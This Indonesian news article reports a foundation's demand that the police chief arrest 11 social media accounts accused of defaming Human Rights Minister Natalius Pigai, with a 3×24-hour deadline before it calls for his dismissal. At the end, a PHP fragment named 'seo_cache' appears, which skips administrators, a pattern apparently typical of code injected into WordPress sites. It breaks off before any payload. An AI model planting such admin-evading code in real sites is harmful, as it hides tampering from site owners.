Hukum

Suara Timur Indonesia Desak Kapolri Tangkap dan Proses Hukum 11 Medsos yang Fitnah dan Diskriminasi Menteri HAM Natalius Pigai

×

Suara Timur Indonesia Desak Kapolri Tangkap dan Proses Hukum 11 Medsos yang Fitnah dan Diskriminasi Menteri HAM Natalius Pigai

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Yayasan Suara Timur Indonesia meminta Kapolri Jenderal Listyo Sigit Prabowo segera menangkap dan memproses hukum 11 media sosial yang menyebar fitnah dan mendiskriminasi Natalius Pigai

Menteri HAM Natalius Pigai dan Kementerian HAM RI telah menempuh jalur hukum untuk memberi efek jera kepada penyebar hoax, fitnah yang menginjak-injak harkat dan martabat.

Langkah Kementerian HAM RI dan Natalius Pigai putra Indonesia timur asli Papua wajib didukung total oleh semua rakyat Indonesia yang sungguh menghormati HAM.

Seruan ini disampaikan Ketua Suara Timur Indonesia, Martinho de Sola, Sabtu (04/04/2026).

“Pantauan kami, penyebaran hoax, fitnah, dan diskriminasi HAM terhadap Natalius Pigai di medsos sama sekali tidak ditertibkan,” ujarnya.

Marthino yang didampingi Sekretaris Suara Timur Indonesia, Freni Lutrun mengatakan, Menteri Komdigi dan Kapolri diam seribu bahasa tanpa aksi nyata, para pelaku tidak segera ditangkap dan diproses hukum.

Pihaknya merasa geram atas pembiaran tanpa aksi nyata Kapolri yang sungguh membuat sakit hati sebagai sesama bersaudara asli Indonesia timur.

Terpanggil nurani atas pembiaran terhadap merajalelanya medsos melakukan fitnah, penyebaran hoax secara masif dan sistemik untuk menginjak-injak harkat dan martabat Menteri HAM RI maka :

Pertama, mendukung langkah Natalius Pigai dan Kementerian HAM RI untuk memproses hukum 11 medsos pelaku kejahatan hukum dan HAM.

Kedua, mendesak Kapolri Listyo Sigit Prabowo segera menangkap dan memproses hukum 11 medsos pelaku kejahatan terhadap Menteri HAM RI Natalius Pigai selambat-lambatnya 3×24 jam sejak pernyataan ini dipublikasikan pers.

“Jika pasca 3×24 jam Kapolri Lystio Sigit dan jajaran Polri diam seribu bahasa maka kami mendesak Presiden Prabowo Subianto segera copot Kapolri Listyo Sigit,” tandasnya. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>